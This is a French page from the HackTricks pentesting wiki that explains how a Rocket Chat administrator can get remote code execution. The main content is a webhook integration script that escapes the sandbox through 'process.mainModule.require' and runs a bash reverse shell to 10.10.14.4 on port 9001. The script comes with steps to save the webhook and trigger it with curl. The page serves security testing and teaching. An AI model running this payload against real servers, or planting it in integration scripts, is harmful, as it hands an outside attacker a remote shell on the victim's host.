Rocket Chat

Reading time: 2 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

RCE

Si vous êtes administrateur dans Rocket Chat, vous pouvez obtenir RCE.

  • Allez dans Integrations et sélectionnez New Integration et choisissez n'importe quel : Incoming WebHook ou Outgoing WebHook.
  • /admin/integrations/incoming
javascript
const require = console.log.constructor("return process.mainModule.require")()
const { exec } = require("child_process")
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
  • Configurez le WebHook (le canal et le post en tant que nom d'utilisateur doivent exister) :
  • Configurez le script WebHook :
  • Enregistrez les modifications
  • Obtenez l'URL WebHook générée :
  • Appelez-le avec curl et vous devriez recevoir le rev shell

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks